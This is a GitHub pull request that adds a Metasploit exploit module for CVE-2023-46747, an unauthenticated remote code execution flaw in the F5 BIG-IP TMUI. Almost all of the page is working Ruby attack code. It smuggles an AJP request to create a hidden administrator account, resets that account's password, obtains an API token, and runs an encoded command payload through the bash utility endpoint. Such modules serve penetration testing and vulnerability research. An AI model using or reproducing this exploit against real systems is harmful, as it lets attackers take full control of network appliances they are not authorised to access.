Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Exploit For CVE-2023-46747 (F5 TMUI AJP Smuggling RCE) #18497

Merged
merged 9 commits into from
Nov 2, 2023
165 changes: 165 additions & 0 deletions modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2023_46747.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,165 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Retry

def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP TMUI AJP Smuggling RCE',
'Description' => %q{
This module exploits a flaw in F5's BIG-IP Traffic Management User
Interface (TMUI) that enables an external, unauthenticated attacker to
create an administrative user. Once the user is created, the module
uses the new account to execute a command payload.
},
'Author' => [
'Michael Weber', # vulnerability analysis
'Thomas Hendrickson', # vulnerability analysis
'Sandeep Singh', # nuclei template
'Spencer McIntyre' # metasploit module
],
'References' => [
['CVE', '2023-46747'],
['URL', 'https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/'],
['URL', 'https://www.praetorian.com/blog/advisory-f5-big-ip-rce/'],
['URL', 'https://my.f5.com/manage/s/article/K000137353'],
['URL', 'https://github.com/projectdiscovery/nuclei-templates/pull/8496']
],
'DisclosureDate' => '2023-10-26', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Privileged' => true,
'Targets' => [
[
'Command',
{
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
],
'DefaultOptions' => {
'SSL' => true,
'RPORT' => 443
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
},
'Notes' => {
'Stability' => [],
'Reliability' => [],
zeroSteiner marked this conversation as resolved.
Show resolved Hide resolved
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check; end

def exploit
res = create_user
fail_with(Failure::UnexpectedReply, 'Failed to create the user.') unless res&.code == 200

new_password = Rex::Text.rand_text_alphanumeric(12)
changed = retry_until_truthy(timeout: 30) do
res = tmui_api_set_password(username, password, new_password)
res&.code == 200
end
fail_with(Failure::UnexpectedReply, 'Failed to change the password.') unless changed

@password = new_password
print_good("Created administrator user: #{username}:#{password}")

res = tmui_api_login
fail_with(Failure::UnexpectedReply, 'Failed to login.') unless res&.code == 200

token = res.get_json_document.dig('token', 'token')
fail_with(Failure::UnexpectedReply, 'Failed to obtain a login token.') if token.blank?

print_status("Obtained login token: #{token}")

bash_cmd = "eval $(echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d)"
# this may or may not timeout
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'mgmt/tm/util/bash'),
'headers' => {
'Content-Type' => 'application/json',
'X-F5-Auth-Token' => token
},
'data' => { 'command' => 'run', 'utilCmdArgs' => "-c '#{bash_cmd}'" }.to_json
)
end

def username
@username ||= Rex::Text.rand_text_alpha(5) # must be 5 characters
end

def password
@password ||= Rex::Text.rand_text_alphanumeric(12) # must be 12 characters
end

def create_user
data = "204\r\n"
data << "\x00\x08HTTP/1.1\x00\x00\x12/tmui/Control/form\x00\x00\t127.0.0.1\x00\x00\tlocalhost\x00\x00\tlocalhost\x00"
data << "\x00P\x00\x00\x03\x00\x0bTmui-Dubbuf\x00\x00\x0bBBBBBBBBBBB\x00\x00\nREMOTEROLE\x00\x00\x010\x00\xa0\x0b"
data << "\x00\tlocalhost\x00\x03\x00\x05admin\x00\x05\x01q_timenow=a&_timenow_before=&handler=%2ftmui%2fsystem%2f"
data << 'user%2fcreate&&&form_page=%2ftmui%2fsystem%2fuser%2fcreate.jsp%3f&form_page_before=&hideObjList=&_bufvalue='
data << 'eIL4RUnSwXYoPUIOGcOFx2o00Xc%3d&_bufvalue_before=&systemuser-hidden='
data << "[[\"Administrator\",\"[All]\"]]&systemuser-hidden_before=&name=#{username}"
data << "&name_before=&passwd=#{password}"
data << "&passwd_before=&finished=x&finished_before=\x00\xff\x00"
data << "\r\n0"

send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),
'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },
'data' => data
)
end

def tmui_api_set_password(user, old_password, new_password)
send_request_cgi(
'method' => 'PATCH',
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
'Content-Type' => 'application/json'
},
'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json
)
end

def tmui_api_login
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),
'headers' => { 'Content-Type' => 'application/json' },
'data' => { 'username' => username, 'password' => password }.to_json
)
end

def tmui_api_get_user(user)
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),
'headers' => {
'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",
'Content-Type' => 'application/json'
}
)
end
end